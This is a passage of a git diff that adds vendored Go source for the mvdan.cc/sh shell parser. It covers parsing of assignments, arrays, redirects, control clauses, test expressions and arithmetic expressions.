p.eqlOffs) + as.Value = p.wordOne(left) + } + p.next() + } else { // foo[x]=bar + as.Name = p.lit(p.pos, p.val) + // hasValidIdent already checks p.r is '[' + p.rune() + p.pos = posAddCol(p.pos, 1) + as.Index = p.eitherIndex() + if p.spaced || p.stopToken() { + if needEqual { + p.followErr(as.Pos(), "a[b]", "=") + } else { + as.Naked = true + return as + } + } + if len(p.val) > 0 && p.val[0] == '+' { + as.Append = true + p.val = p.val[1:] + p.pos = posAddCol(p.pos, 1) + } + if len(p.val) < 1 || p.val[0] != '=' { + if as.Append { + p.followErr(as.Pos(), "a[b]+", "=") + } else { + p.followErr(as.Pos(), "a[b]", "=") + } + return nil + } + p.pos = posAddCol(p.pos, 1) + p.val = p.val[1:] + if p.val == "" { + p.next() + } + } + if p.spaced || p.stopToken() { + return as + } + if as.Value == nil && p.tok == leftParen { + if p.lang == LangPOSIX { + p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn) + } + if as.Index != nil { + p.curErr("arrays cannot be nested") + } + as.Array = &ArrayExpr{Lparen: p.pos} + newQuote := p.quote + if p.lang.isBash() { + newQuote = arrayElems + } + old := p.preNested(newQuote) + p.next() + p.got(_Newl) + for p.tok != _EOF && p.tok != rightParen { + ae := &ArrayElem{} + ae.Comments, p.accComs = p.accComs, nil + if p.tok == leftBrack { + left := p.pos + ae.Index = p.eitherIndex() + p.follow(left, `"[x]"`, assgn) + } + if ae.Value = p.getWord(); ae.Value == nil { + switch p.tok { + case leftParen: + p.curErr("arrays cannot be nested") + return nil + case _Newl, rightParen, leftBrack: + // TODO: support [index]=[ + default: + p.curErr("array element values must be words") + return nil + } + } + if len(p.accComs) > 0 { + c := p.accComs[0] + if c.Pos().Line() == ae.End().Line() { + ae.Comments = append(ae.Comments, c) + p.accComs = p.accComs[1:] + } + } + as.Array.Elems = append(as.Array.Elems, ae) + p.got(_Newl) + } + as.Array.Last, p.accComs = p.accComs, nil + p.postNested(old) + as.Array.Rparen = p.matched(as.Array.Lparen, leftParen, rightParen) + } else if w := p.getWord(); w != nil { + if as.Value == nil { + as.Value = w + } else { + as.Value.Parts = append(as.Value.Parts, w.Parts...) + } + } + return as +} + +func (p *Parser) peekRedir() bool { + switch p.tok { + case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + return true + } + return false +} + +func (p *Parser) doRedirect(s *Stmt) { + var r *Redirect + if s.Redirs == nil { + var alloc struct { + redirs [4]*Redirect + redir Redirect + } + s.Redirs = alloc.redirs[:0] + r = &alloc.redir + s.Redirs = append(s.Redirs, r) + } else { + r = &Redirect{} + s.Redirs = append(s.Redirs, r) + } + r.N = p.getLit() + if !p.lang.isBash() && r.N != nil && r.N.Value[0] == '{' { + p.langErr(r.N.Pos(), "{varname} redirects", LangBash) + } + if p.lang == LangPOSIX && (p.tok == rdrAll || p.tok == appAll) { + p.langErr(p.pos, "&> redirects", LangBash, LangMirBSDKorn) + } + r.Op, r.OpPos = RedirOperator(p.tok), p.pos + p.next() + switch r.Op { + case Hdoc, DashHdoc: + old := p.quote + p.quote, p.forbidNested = hdocWord, true + p.heredocs = append(p.heredocs, r) + r.Word = p.followWordTok(token(r.Op), r.OpPos) + p.quote, p.forbidNested = old, false + if p.tok == _Newl { + if len(p.accComs) > 0 { + c := p.accComs[0] + if c.Pos().Line() == s.End().Line() { + s.Comments = append(s.Comments, c) + p.accComs = p.accComs[1:] + } + } + p.doHeredocs() + } + case WordHdoc: + if p.lang == LangPOSIX { + p.langErr(r.OpPos, "herestrings", LangBash, LangMirBSDKorn) + } + fallthrough + default: + r.Word = p.followWordTok(token(r.Op), r.OpPos) + } +} + +func (p *Parser) getStmt(readEnd, binCmd, fnBody bool) *Stmt { + pos, ok := p.gotRsrv("!") + s := p.stmt(pos) + if ok { + s.Negated = true + if p.stopToken() { + p.posErr(s.Pos(), `"!" cannot form a statement alone`) + } + if _, ok := p.gotRsrv("!"); ok { + p.posErr(s.Pos(), `cannot negate a command multiple times`) + } + } + if s = p.gotStmtPipe(s, false); s == nil || p.err != nil { + return nil + } + // instead of using recursion, iterate manually + for p.tok == andAnd || p.tok == orOr { + if binCmd { + // left associativity: in a list of BinaryCmds, the + // right recursion should only read a single element + return s + } + b := &BinaryCmd{ + OpPos: p.pos, + Op: BinCmdOperator(p.tok), + X: s, + } + p.next() + p.got(_Newl) + b.Y = p.getStmt(false, true, false) + if b.Y == nil || p.err != nil { + p.followErr(b.OpPos, b.Op.String(), "a statement") + return nil + } + s = p.stmt(s.Position) + s.Cmd = b + s.Comments, b.X.Comments = b.X.Comments, nil + } + if readEnd { + switch p.tok { + case semicolon: + s.Semicolon = p.pos + p.next() + case and: + s.Semicolon = p.pos + p.next() + s.Background = true + case orAnd: + s.Semicolon = p.pos + p.next() + s.Coprocess = true + } + } + if len(p.accComs) > 0 && !binCmd && !fnBody { + c := p.accComs[0] + if c.Pos().Line() == s.End().Line() { + s.Comments = append(s.Comments, c) + p.accComs = p.accComs[1:] + } + } + return s +} + +func (p *Parser) gotStmtPipe(s *Stmt, binCmd bool) *Stmt { + s.Comments, p.accComs = p.accComs, nil + switch p.tok { + case _LitWord: + switch p.val { + case "{": + p.block(s) + case "if": + p.ifClause(s) + case "while", "until": + p.whileClause(s, p.val == "until") + case "for": + p.forClause(s) + case "case": + p.caseClause(s) + case "}": + p.curErr(`%q can only be used to close a block`, p.val) + case "then": + p.curErr(`%q can only be used in an if`, p.val) + case "elif": + p.curErr(`%q can only be used in an if`, p.val) + case "fi": + p.curErr(`%q can only be used to end an if`, p.val) + case "do": + p.curErr(`%q can only be used in a loop`, p.val) + case "done": + p.curErr(`%q can only be used to end a loop`, p.val) + case "esac": + p.curErr(`%q can only be used to end a case`, p.val) + case "!": + if !s.Negated { + p.curErr(`"!" can only be used in full statements`) + break + } + case "[[": + if p.lang != LangPOSIX { + p.testClause(s) + } + case "]]": + if p.lang != LangPOSIX { + p.curErr(`%q can only be used to close a test`, p.val) + } + case "let": + if p.lang != LangPOSIX { + p.letClause(s) + } + case "function": + if p.lang != LangPOSIX { + p.bashFuncDecl(s) + } + case "declare": + if p.lang.isBash() { // Note that mksh lacks this one. + p.declClause(s) + } + case "local", "export", "readonly", "typeset", "nameref": + if p.lang != LangPOSIX { + p.declClause(s) + } + case "time": + if p.lang != LangPOSIX { + p.timeClause(s) + } + case "coproc": + if p.lang.isBash() { // Note that mksh lacks this one. + p.coprocClause(s) + } + case "select": + if p.lang != LangPOSIX { + p.selectClause(s) + } + case "@test": + if p.lang == LangBats { + p.testDecl(s) + } + } + if s.Cmd != nil { + break + } + if p.hasValidIdent() { + p.callExpr(s, nil, true) + break + } + name := p.lit(p.pos, p.val) + if p.next(); p.got(leftParen) { + p.follow(name.ValuePos, "foo(", rightParen) + if p.lang == LangPOSIX && !ValidName(name.Value) { + p.posErr(name.Pos(), "invalid func name") + } + p.funcDecl(s, name, name.ValuePos, true) + } else { + p.callExpr(s, p.wordOne(name), false) + } + case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + p.doRedirect(s) + p.callExpr(s, nil, false) + case bckQuote: + if p.backquoteEnd() { + return nil + } + fallthrough + case _Lit, dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut, + sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack, + globQuest, globStar, globPlus, globAt, globExcl: + if p.hasValidIdent() { + p.callExpr(s, nil, true) + break + } + w := p.wordAnyNumber() + if p.got(leftParen) { + p.posErr(w.Pos(), "invalid func name") + } + p.callExpr(s, w, false) + case leftParen: + p.subshell(s) + case dblLeftParen: + p.arithmExpCmd(s) + default: + if len(s.Redirs) == 0 { + return nil + } + } + for p.peekRedir() { + p.doRedirect(s) + } + // instead of using recursion, iterate manually + for p.tok == or || p.tok == orAnd { + if binCmd { + // left associativity: in a list of BinaryCmds, the + // right recursion should only read a single element + return s + } + if p.tok == orAnd && p.lang == LangMirBSDKorn { + // No need to check for LangPOSIX, as on that language + // we parse |& as two tokens. + break + } + b := &BinaryCmd{OpPos: p.pos, Op: BinCmdOperator(p.tok), X: s} + p.next() + p.got(_Newl) + if b.Y = p.gotStmtPipe(p.stmt(p.pos), true); b.Y == nil || p.err != nil { + p.followErr(b.OpPos, b.Op.String(), "a statement") + break + } + s = p.stmt(s.Position) + s.Cmd = b + s.Comments, b.X.Comments = b.X.Comments, nil + // in "! x | y", the bang applies to the entire pipeline + s.Negated = b.X.Negated + b.X.Negated = false + } + return s +} + +func (p *Parser) subshell(s *Stmt) { + sub := &Subshell{Lparen: p.pos} + old := p.preNested(subCmd) + p.next() + sub.Stmts, sub.Last = p.stmtList() + p.postNested(old) + sub.Rparen = p.matched(sub.Lparen, leftParen, rightParen) + s.Cmd = sub +} + +func (p *Parser) arithmExpCmd(s *Stmt) { + ar := &ArithmCmd{Left: p.pos} + old := p.preNested(arithmExprCmd) + p.next() + if p.got(hash) { + if p.lang != LangMirBSDKorn { + p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn) + } + ar.Unsigned = true + } + ar.X = p.followArithm(dblLeftParen, ar.Left) + ar.Right = p.arithmEnd(dblLeftParen, ar.Left, old) + s.Cmd = ar +} + +func (p *Parser) block(s *Stmt) { + b := &Block{Lbrace: p.pos} + p.next() + b.Stmts, b.Last = p.stmtList("}") + pos, ok := p.gotRsrv("}") + b.Rbrace = pos + if !ok { + p.matchingErr(b.Lbrace, "{", "}") + } + s.Cmd = b +} + +func (p *Parser) ifClause(s *Stmt) { + rootIf := &IfClause{Position: p.pos} + p.next() + rootIf.Cond, rootIf.CondLast = p.followStmts("if", rootIf.Position, "then") + rootIf.ThenPos = p.followRsrv(rootIf.Position, "if ", "then") + rootIf.Then, rootIf.ThenLast = p.followStmts("then", rootIf.ThenPos, "fi", "elif", "else") + curIf := rootIf + for p.tok == _LitWord && p.val == "elif" { + elf := &IfClause{Position: p.pos} + curIf.Last = p.accComs + p.accComs = nil + p.next() + elf.Cond, elf.CondLast = p.followStmts("elif", elf.Position, "then") + elf.ThenPos = p.followRsrv(elf.Position, "elif ", "then") + elf.Then, elf.ThenLast = p.followStmts("then", elf.ThenPos, "fi", "elif", "else") + curIf.Else = elf + curIf = elf + } + if elsePos, ok := p.gotRsrv("else"); ok { + curIf.Last = p.accComs + p.accComs = nil + els := &IfClause{Position: elsePos} + els.Then, els.ThenLast = p.followStmts("else", els.Position, "fi") + curIf.Else = els + curIf = els + } + curIf.Last = p.accComs + p.accComs = nil + rootIf.FiPos = p.stmtEnd(rootIf, "if", "fi") + for els := rootIf.Else; els != nil; els = els.Else { + // All the nested IfClauses share the same FiPos. + els.FiPos = rootIf.FiPos + } + s.Cmd = rootIf +} + +func (p *Parser) whileClause(s *Stmt, until bool) { + wc := &WhileClause{WhilePos: p.pos, Until: until} + rsrv := "while" + rsrvCond := "while " + if wc.Until { + rsrv = "until" + rsrvCond = "until " + } + p.next() + wc.Cond, wc.CondLast = p.followStmts(rsrv, wc.WhilePos, "do") + wc.DoPos = p.followRsrv(wc.WhilePos, rsrvCond, "do") + wc.Do, wc.DoLast = p.followStmts("do", wc.DoPos, "done") + wc.DonePos = p.stmtEnd(wc, rsrv, "done") + s.Cmd = wc +} + +func (p *Parser) forClause(s *Stmt) { + fc := &ForClause{ForPos: p.pos} + p.next() + fc.Loop = p.loop(fc.ForPos) + + start, end := "do", "done" + if pos, ok := p.gotRsrv("{"); ok { + if p.lang == LangPOSIX { + p.langErr(pos, "for loops with braces", LangBash, LangMirBSDKorn) + } + fc.DoPos = pos + fc.Braces = true + start, end = "{", "}" + } else { + fc.DoPos = p.followRsrv(fc.ForPos, "for foo [in words]", start) + } + + s.Comments = append(s.Comments, p.accComs...) + p.accComs = nil + fc.Do, fc.DoLast = p.followStmts(start, fc.DoPos, end) + fc.DonePos = p.stmtEnd(fc, "for", end) + s.Cmd = fc +} + +func (p *Parser) loop(fpos Pos) Loop { + if !p.lang.isBash() { + switch p.tok { + case leftParen, dblLeftParen: + p.langErr(p.pos, "c-style fors", LangBash) + } + } + if p.tok == dblLeftParen { + cl := &CStyleLoop{Lparen: p.pos} + old := p.preNested(arithmExprCmd) + p.next() + cl.Init = p.arithmExpr(false) + if !p.got(dblSemicolon) { + p.follow(p.pos, "expr", semicolon) + cl.Cond = p.arithmExpr(false) + p.follow(p.pos, "expr", semicolon) + } + cl.Post = p.arithmExpr(false) + cl.Rparen = p.arithmEnd(dblLeftParen, cl.Lparen, old) + p.got(semicolon) + p.got(_Newl) + return cl + } + return p.wordIter("for", fpos) +} + +func (p *Parser) wordIter(ftok string, fpos Pos) *WordIter { + wi := &WordIter{} + if wi.Name = p.getLit(); wi.Name == nil { + p.followErr(fpos, ftok, "a literal") + } + if p.got(semicolon) { + p.got(_Newl) + return wi + } + p.got(_Newl) + if pos, ok := p.gotRsrv("in"); ok { + wi.InPos = pos + for !p.stopToken() { + if w := p.getWord(); w == nil { + p.curErr("word list can only contain words") + } else { + wi.Items = append(wi.Items, w) + } + } + p.got(semicolon) + p.got(_Newl) + } else if p.tok == _LitWord && p.val == "do" { + } else { + p.followErr(fpos, ftok+" foo", `"in", "do", ;, or a newline`) + } + return wi +} + +func (p *Parser) selectClause(s *Stmt) { + fc := &ForClause{ForPos: p.pos, Select: true} + p.next() + fc.Loop = p.wordIter("select", fc.ForPos) + fc.DoPos = p.followRsrv(fc.ForPos, "select foo [in words]", "do") + fc.Do, fc.DoLast = p.followStmts("do", fc.DoPos, "done") + fc.DonePos = p.stmtEnd(fc, "select", "done") + s.Cmd = fc +} + +func (p *Parser) caseClause(s *Stmt) { + cc := &CaseClause{Case: p.pos} + p.next() + cc.Word = p.getWord() + if cc.Word == nil { + p.followErr(cc.Case, "case", "a word") + } + end := "esac" + p.got(_Newl) + if pos, ok := p.gotRsrv("{"); ok { + cc.In = pos + cc.Braces = true + if p.lang != LangMirBSDKorn { + p.posErr(cc.Pos(), `"case i {" is a mksh feature`) + } + end = "}" + } else { + cc.In = p.followRsrv(cc.Case, "case x", "in") + } + cc.Items = p.caseItems(end) + cc.Last, p.accComs = p.accComs, nil + cc.Esac = p.stmtEnd(cc, "case", end) + s.Cmd = cc +} + +func (p *Parser) caseItems(stop string) (items []*CaseItem) { + p.got(_Newl) + for p.tok != _EOF && (p.tok != _LitWord || p.val != stop) { + ci := &CaseItem{} + ci.Comments, p.accComs = p.accComs, nil + p.got(leftParen) + for p.tok != _EOF { + if w := p.getWord(); w == nil { + p.curErr("case patterns must consist of words") + } else { + ci.Patterns = append(ci.Patterns, w) + } + if p.tok == rightParen { + break + } + if !p.got(or) { + p.curErr("case patterns must be separated with |") + } + } + old := p.preNested(switchCase) + p.next() + ci.Stmts, ci.Last = p.stmtList(stop) + p.postNested(old) + switch p.tok { + case dblSemicolon, semiAnd, dblSemiAnd, semiOr: + default: + ci.Op = Break + items = append(items, ci) + return + } + ci.Last = append(ci.Last, p.accComs...) + p.accComs = nil + ci.OpPos = p.pos + ci.Op = CaseOperator(p.tok) + p.next() + p.got(_Newl) + + // Split the comments: + // + // case x in + // a) + // foo + // ;; + // # comment for a + // # comment for b + // b) + // [...] + split := len(p.accComs) + for i := len(p.accComs) - 1; i >= 0; i-- { + c := p.accComs[i] + if c.Pos().Col() != p.pos.Col() { + break + } + split = i + } + ci.Comments = append(ci.Comments, p.accComs[:split]...) + p.accComs = p.accComs[split:] + + items = append(items, ci) + } + return +} + +func (p *Parser) testClause(s *Stmt) { + tc := &TestClause{Left: p.pos} + old := p.preNested(testExpr) + p.next() + if _, ok := p.gotRsrv("]]"); ok || p.tok == _EOF { + p.posErr(tc.Left, "test clause requires at least one expression") + } + tc.X = p.testExpr(dblLeftBrack, tc.Left, false) + if tc.X == nil { + p.followErrExp(tc.Left, "[[") + } + tc.Right = p.pos + if _, ok := p.gotRsrv("]]"); !ok { + p.matchingErr(tc.Left, "[[", "]]") + } + p.postNested(old) + s.Cmd = tc +} + +func (p *Parser) testExpr(ftok token, fpos Pos, pastAndOr bool) TestExpr { + p.got(_Newl) + var left TestExpr + if pastAndOr { + left = p.testExprBase() + } else { + left = p.testExpr(ftok, fpos, true) + } + if left == nil { + return left + } + p.got(_Newl) + switch p.tok { + case andAnd, orOr: + case _LitWord: + if p.val == "]]" { + return left + } + if p.tok = token(testBinaryOp(p.val)); p.tok == illegalTok { + p.curErr("not a valid test operator: %s", p.val) + } + case rdrIn, rdrOut: + case _EOF, rightParen: + return left + case _Lit: + p.curErr("test operator words must consist of a single literal") + default: + p.curErr("not a valid test operator: %v", p.tok) + } + b := &BinaryTest{ + OpPos: p.pos, + Op: BinTestOperator(p.tok), + X: left, + } + // Save the previous quoteState, since we change it in TsReMatch. + oldQuote := p.quote + + switch b.Op { + case AndTest, OrTest: + p.next() + if b.Y = p.testExpr(token(b.Op), b.OpPos, false); b.Y == nil { + p.followErrExp(b.OpPos, b.Op.String()) + } + case TsReMatch: + if !p.lang.isBash() { + p.langErr(p.pos, "regex tests", LangBash) + } + p.rxOpenParens = 0 + p.rxFirstPart = true + // TODO(mvdan): Using nested states within a regex will break in + // all sorts of ways. The better fix is likely to use a stop + // token, like we do with heredocs. + p.quote = testExprRegexp + fallthrough + default: + if _, ok := b.X.(*Word); !ok { + p.posErr(b.OpPos, "expected %s, %s or %s after complex expr", + AndTest, OrTest, "]]") + } + p.next() + b.Y = p.followWordTok(token(b.Op), b.OpPos) + } + p.quote = oldQuote + return b +} + +func (p *Parser) testExprBase() TestExpr { + switch p.tok { + case _EOF, rightParen: + return nil + case _LitWord: + op := token(testUnaryOp(p.val)) + switch op { + case illegalTok: + case tsRefVar, tsModif: // not available in mksh + if p.lang.isBash() { + p.tok = op + } + default: + p.tok = op + } + } + switch p.tok { + case exclMark: + u := &UnaryTest{OpPos: p.pos, Op: TsNot} + p.next() + if u.X = p.testExpr(token(u.Op), u.OpPos, false); u.X == nil { + p.followErrExp(u.OpPos, u.Op.String()) + } + return u + case tsExists, tsRegFile, tsDirect, tsCharSp, tsBlckSp, tsNmPipe, + tsSocket, tsSmbLink, tsSticky, tsGIDSet, tsUIDSet, tsGrpOwn, + tsUsrOwn, tsModif, tsRead, tsWrite, tsExec, tsNoEmpty, + tsFdTerm, tsEmpStr, tsNempStr, tsOptSet, tsVarSet, tsRefVar: + u := &UnaryTest{OpPos: p.pos, Op: UnTestOperator(p.tok)} + p.next() + u.X = p.followWordTok(token(u.Op), u.OpPos) + return u + case leftParen: + pe := &ParenTest{Lparen: p.pos} + p.next() + if pe.X = p.testExpr(leftParen, pe.Lparen, false); pe.X == nil { + p.followErrExp(pe.Lparen, "(") + } + pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen) + return pe + case _LitWord: + if p.val == "]]" { + return nil + } + fallthrough + default: + if w := p.getWord(); w != nil { + return w + } + // otherwise we'd return a typed nil above + return nil + } +} + +func (p *Parser) declClause(s *Stmt) { + ds := &DeclClause{Variant: p.lit(p.pos, p.val)} + p.next() + for !p.stopToken() && !p.peekRedir() { + if p.hasValidIdent() { + ds.Args = append(ds.Args, p.getAssign(false)) + } else if p.eqlOffs > 0 { + p.curErr("invalid var name") + } else if p.tok == _LitWord && ValidName(p.val) { + ds.Args = append(ds.Args, &Assign{ + Naked: true, + Name: p.getLit(), + }) + } else if w := p.getWord(); w != nil { + ds.Args = append(ds.Args, &Assign{ + Naked: true, + Value: w, + }) + } else { + p.followErr(p.pos, ds.Variant.Value, "names or assignments") + } + } + s.Cmd = ds +} + +func isBashCompoundCommand(tok token, val string) bool { + switch tok { + case leftParen, dblLeftParen: + return true + case _LitWord: + switch val { + case "{", "if", "while", "until", "for", "case", "[[", + "coproc", "let", "function", "declare", "local", + "export", "readonly", "typeset", "nameref": + return true + } + } + return false +} + +func (p *Parser) timeClause(s *Stmt) { + tc := &TimeClause{Time: p.pos} + p.next() + if _, ok := p.gotRsrv("-p"); ok { + tc.PosixFormat = true + } + tc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + s.Cmd = tc +} + +func (p *Parser) coprocClause(s *Stmt) { + cc := &CoprocClause{Coproc: p.pos} + if p.next(); isBashCompoundCommand(p.tok, p.val) { + // has no name + cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + s.Cmd = cc + return + } + cc.Name = p.getWord() + cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + if cc.Stmt == nil { + if cc.Name == nil { + p.posErr(cc.Coproc, "coproc clause requires a command") + return + } + // name was in fact the stmt + cc.Stmt = p.stmt(cc.Name.Pos()) + cc.Stmt.Cmd = p.call(cc.Name) + cc.Name = nil + } else if cc.Name != nil { + if call, ok := cc.Stmt.Cmd.(*CallExpr); ok { + // name was in fact the start of a call + call.Args = append([]*Word{cc.Name}, call.Args...) + cc.Name = nil + } + } + s.Cmd = cc +} + +func (p *Parser) letClause(s *Stmt) { + lc := &LetClause{Let: p.pos} + old := p.preNested(arithmExprLet) + p.next() + for !p.stopToken() && !p.peekRedir() { + x := p.arithmExpr(true) + if x == nil { + break + } + lc.Exprs = append(lc.Exprs, x) + } + if len(lc.Exprs) == 0 { + p.followErrExp(lc.Let, "let") + } + p.postNested(old) + s.Cmd = lc +} + +func (p *Parser) bashFuncDecl(s *Stmt) { + fpos := p.pos + if p.next(); p.tok != _LitWord { + p.followErr(fpos, "function", "a name") + } + name := p.lit(p.pos, p.val) + hasParens := false + if p.next(); p.got(leftParen) { + hasParens = true + p.follow(name.ValuePos, "foo(", rightParen) + } + p.funcDecl(s, name, fpos, hasParens) +} + +func (p *Parser) testDecl(s *Stmt) { + td := &TestDecl{Position: p.pos} + p.next() + if td.Description = p.getWord(); td.Description == nil { + p.followErr(td.Position, "@test", "a description word") + } + if td.Body = p.getStmt(false, false, true); td.Body == nil { + p.followErr(td.Position, `@test "desc"`, "a statement") + } + s.Cmd = td +} + +func (p *Parser) callExpr(s *Stmt, w *Word, assign bool) { + ce := p.call(w) + if w == nil { + ce.Args = ce.Args[:0] + } + if assign { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + } +loop: + for { + switch p.tok { + case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd, + dblSemicolon, semiAnd, dblSemiAnd, semiOr: + break loop + case _LitWord: + if len(ce.Args) == 0 && p.hasValidIdent() { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + break + } + ce.Args = append(ce.Args, p.wordOne(p.lit(p.pos, p.val))) + p.next() + case _Lit: + if len(ce.Args) == 0 && p.hasValidIdent() { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + break + } + ce.Args = append(ce.Args, p.wordAnyNumber()) + case bckQuote: + if p.backquoteEnd() { + break loop + } + fallthrough + case dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut, + sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack, + globQuest, globStar, globPlus, globAt, globExcl: + ce.Args = append(ce.Args, p.wordAnyNumber()) + case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + p.doRedirect(s) + case dblLeftParen: + p.curErr("%s can only be used to open an arithmetic cmd", p.tok) + case rightParen: + if p.quote == subCmd { + break loop + } + fallthrough + default: + // Note that we'll only keep the first error that happens. + if len(ce.Args) > 0 { + if cmd := ce.Args[0].Lit(); p.lang == LangPOSIX && isBashCompoundCommand(_LitWord, cmd) { + p.curErr("the %q builtin exists in bash; tried parsing as posix", cmd) + } + } + p.curErr("a command can only contain words and redirects; encountered %s", p.tok) + } + } + if len(ce.Assigns) == 0 && len(ce.Args) == 0 { + return + } + if len(ce.Args) == 0 { + ce.Args = nil + } else { + for _, asgn := range ce.Assigns { + if asgn.Index != nil || asgn.Array != nil { + p.posErr(asgn.Pos(), "inline variables cannot be arrays") + } + } + } + s.Cmd = ce +} + +func (p *Parser) funcDecl(s *Stmt, name *Lit, pos Pos, withParens bool) { + fd := &FuncDecl{ + Position: pos, + RsrvWord: pos != name.ValuePos, + Parens: withParens, + Name: name, + } + p.got(_Newl) + if fd.Body = p.getStmt(false, false, true); fd.Body == nil { + p.followErr(fd.Pos(), "foo()", "a statement") + } + s.Cmd = fd +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go new file mode 100644 index 0000000000..a6d6a951f8 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go @@ -0,0 +1,353 @@ +package syntax + +// compact specifies whether we allow spaces between expressions. +// This is true for let +func (p *Parser) arithmExpr(compact bool) ArithmExpr { + return p.arithmExprComma(compact) +} + +// These function names are inspired by Bash's expr.c + +func (p *Parser) arithmExprComma(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprAssign, Comma) +} + +func (p *Parser) arithmExprAssign(compact bool) ArithmExpr { + // Assign is different from the other binary operators because it's + // right-associative and needs to check that it's placed after a name + value := p.arithmExprTernary(compact) + switch BinAritOperator(p.tok) { + case AddAssgn, SubAssgn, MulAssgn, QuoAssgn, RemAssgn, AndAssgn, + OrAssgn, XorAssgn, ShlAssgn, ShrAssgn, Assgn: + if compact && p.spaced { + return value + } + if !isArithName(value) { + p.posErr(p.pos, "%s must follow a name", p.tok.String()) + } + pos := p.pos + tok := p.tok + p.nextArithOp(compact) + y := p.arithmExprAssign(compact) + if y == nil { + p.followErrExp(pos, tok.String()) + } + return &BinaryArithm{ + OpPos: pos, + Op: BinAritOperator(tok), + X: value, + Y: y, + } + } + return value +} + +func (p *Parser) arithmExprTernary(compact bool) ArithmExpr { + value := p.arithmExprLor(compact) + if BinAritOperator(p.tok) != TernQuest || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + questPos := p.pos + p.nextArithOp(compact) + if BinAritOperator(p.tok) == TernColon { + p.followErrExp(questPos, TernQuest.String()) + } + trueExpr := p.arithmExpr(compact) + if trueExpr == nil { + p.followErrExp(questPos, TernQuest.String()) + } + if BinAritOperator(p.tok) != TernColon { + p.posErr(questPos, "ternary operator missing : after ?") + } + colonPos := p.pos + p.nextArithOp(compact) + falseExpr := p.arithmExprTernary(compact) + if falseExpr == nil { + p.followErrExp(colonPos, TernColon.String()) + } + return &BinaryArithm{ + OpPos: questPos, + Op: TernQuest, + X: value, + Y: &BinaryArithm{ + OpPos: colonPos, + Op: TernColon, + X: trueExpr, + Y: falseExpr, + }, + } +} + +func (p *Parser) arithmExprLor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprLand, OrArit) +} + +func (p *Parser) arithmExprLand(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBor, AndArit) +} + +func (p *Parser) arithmExprBor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBxor, Or) +} + +func (p *Parser) arithmExprBxor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBand, Xor) +} + +func (p *Parser) arithmExprBand(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprEquality, And) +} + +func (p *Parser) arithmExprEquality(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprComparison, Eql, Neq) +} + +func (p *Parser) arithmExprComparison(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprShift, Lss, Gtr, Leq, Geq) +} + +func (p *Parser) arithmExprShift(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprAddition, Shl, Shr) +} + +func (p *Parser) arithmExprAddition(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprMultiplication, Add, Sub) +} + +func (p *Parser) arithmExprMultiplication(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprPower, Mul, Quo, Rem) +} + +func (p *Parser) arithmExprPower(compact bool) ArithmExpr { + // Power is different from the other binary operators because it's right-associative + value := p.arithmExprUnary(compact) + if BinAritOperator(p.tok) != Pow || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + + op := p.tok + pos := p.pos + p.nextArithOp(compact) + y := p.arithmExprPower(compact) + if y == nil { + p.followErrExp(pos, op.String()) + } + return &BinaryArithm{ + OpPos: pos, + Op: BinAritOperator(op), + X: value, + Y: y, + } +} + +func (p *Parser) arithmExprUnary(compact bool) ArithmExpr { + if !compact { + p.got(_Newl) + } + + switch UnAritOperator(p.tok) { + case Not, BitNegation, Plus, Minus: + ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)} + p.nextArithOp(compact) + if ue.X = p.arithmExprUnary(compact); ue.X == nil { + p.followErrExp(ue.OpPos, ue.Op.String()) + } + return ue + } + return p.arithmExprValue(compact) +} + +func (p *Parser) arithmExprValue(compact bool) ArithmExpr { + var x ArithmExpr + switch p.tok { + case addAdd, subSub: + ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)} + p.nextArith(compact) + if p.tok != _LitWord { + p.followErr(ue.OpPos, token(ue.Op).String(), "a literal") + } + ue.X = p.arithmExprValue(compact) + return ue + case leftParen: + pe := &ParenArithm{Lparen: p.pos} + p.nextArithOp(compact) + pe.X = p.followArithm(leftParen, pe.Lparen) + pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen) + x = pe + case leftBrack: + p.curErr("[ must follow a name") + case colon: + p.curErr("ternary operator missing ? before :") + case _LitWord: + l := p.getLit() + if p.tok != leftBrack { + x = p.wordOne(l) + break + } + pe := &ParamExp{Dollar: l.ValuePos, Short: true, Param: l} + pe.Index = p.eitherIndex() + x = 